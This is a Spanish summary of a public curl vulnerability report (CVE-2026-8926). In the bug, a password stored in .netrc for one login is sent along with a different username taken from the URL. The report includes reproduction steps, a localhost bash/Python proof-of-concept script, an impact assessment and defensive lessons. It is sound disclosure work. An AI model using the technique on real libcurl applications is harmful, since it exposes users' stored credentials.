Reports
BAJA[EXPOSICIÓN DE DATOS]#3735184

CVE-2026-8926: curl envía la contraseña de .netrc de un usuario con el nombre de otro usuario puesto en la URL

Si la URL lleva un usuario y .netrc guarda la contraseña de otro login para el mismo host, curl combina ambos y manda esa contraseña con el usuario de la URL en la cabecera Authorization.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

curl y libcurl pueden leer credenciales del fichero .netrc para no tener que escribirlas en cada petición. La documentación promete un comportamiento concreto cuando la URL ya incluye un nombre de usuario: curl debe buscar en .netrc la contraseña de ese usuario, o recurrir a una entrada genérica de la máquina que no tenga login.

El fallo, registrado como CVE-2026-8926, rompe esa regla. Si .netrc tiene una entrada para el host con un login explícito distinto del usuario de la URL, curl toma igualmente la contraseña de esa entrada y la envía junto al usuario de la URL. Con credenciales de alice en .netrc y bob en la URL, la petición sale con bob:<contraseña de alice> en la cabecera Authorization: Basic.

Según el investigador, el problema existe desde el commit e9b9bbac22c26cf67316fa8e6c6b9e831af31949 (15 de noviembre de 2024). También señala que un escáner automático ya lo había detectado en un comentario de la PR https://github.com/curl/curl/pull/20932, pero el aviso se descartó y la PR se cerró después por otro commit.

El reporte se envió el 14 de mayo de 2026 y se divulgó el 24 de junio de 2026. El programa lo clasificó con severidad baja.

Pasos de reproducción

  1. Crear un .netrc con una entrada para el host que tenga un login explícito (alice):
machine 127.0.0.1 login alice password secret
  1. Lanzar una petición a ese host con otro usuario en la URL (bob) y con .netrc activado:
curl --netrc-optional http://[email protected]:18080/
  1. Observar la cabecera que recibe el servidor:
Authorization: Basic Ym9iOnNlY3JldA==

Decodificada en Base64 es:

bob:secret

La contraseña secret pertenece a alice, pero viaja con el usuario bob.

El investigador aportó este script completo, que monta un servidor HTTP mínimo en Python que imprime la cabecera Authorization decodificada y ejecuta curl con un HOME temporal:

#!/usr/bin/env bash
set -euo pipefail

tmp="$(mktemp -d)"
port=18080

mkdir -p "$tmp/home"

cat >"$tmp/home/.netrc" <<'EOF'
machine 127.0.0.1 login alice password secret
EOF
chmod 0600 "$tmp/home/.netrc"

cat >"$tmp/server.py" <<'PY'
import base64
import http.server
import socketserver

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get("Authorization", "")
        print("Authorization:", auth, flush=True)
        if auth.startswith("Basic "):
            decoded = base64.b64decode(auth.split(" ", 1)[1]).decode()
            print("Decoded:", decoded, flush=True)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok\n")

    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 18080), Handler) as httpd:
    httpd.handle_request()
PY

python3 "$tmp/server.py" &
server_pid=$!
sleep 0.3

HOME="$tmp/home" curl \
    --silent \
    --show-error \
    --netrc-optional \
    "http://[email protected]:$port/" \
    >/dev/null

wait "$server_pid"

Resultado obtenido al ejecutarlo:

Authorization: Basic Ym9iOnNlY3JldA==
Decoded: bob:secret

Lo correcto, según el investigador, habría sido enviar bob: sin contraseña o no enviar ninguna cabecera Authorization, según el modo de .netrc elegido y las reglas de respaldo. En ningún caso debería usarse la contraseña de alice para el usuario bob.

Impacto

Quien pueda influir en la URL que se pasa a curl o libcurl con .netrc activado puede conseguir que una contraseña guardada para una cuenta de un host se envíe con otro nombre de usuario en ese mismo host. Los casos que plantea el reporte:

  • La contraseña de una cuenta se presenta en el contexto de otra cuenta del mismo servidor.
  • Aplicaciones basadas en libcurl que descargan URLs controladas por un atacante con CURLOPT_NETRC activado pueden filtrar contraseñas de .netrc sin que la aplicación pretendiera autenticarse como ese usuario.

No es una fuga entre hosts distintos: la contraseña solo va al host para el que está guardada. Pero rompe la selección por usuario que documenta curl y puede exponer credenciales en flujos donde el usuario de la URL lo elige un tercero.

Qué aprender de este caso

  • Al revisar código que mezcla credenciales de varias fuentes (URL, ficheros como .netrc, opciones), comprueba que usuario y contraseña salen siempre del mismo registro: el fallo aquí es emparejar un usuario de una fuente con la contraseña de otra.
  • Si una herramienta busca credenciales por host, prueba qué pasa cuando el usuario pedido no coincide con el login guardado: el caso "entrada con login distinto" frente a "entrada genérica sin login" es donde suelen esconderse estos errores.
  • En aplicaciones que usan libcurl con CURLOPT_NETRC sobre URLs que no controlas, quita o rechaza el componente de usuario de la URL (bob@) antes de hacer la petición.
  • Los avisos de escáneres automáticos descartados merecen una segunda mirada: en este caso el problema ya se había señalado en una PR y se pasó por alto.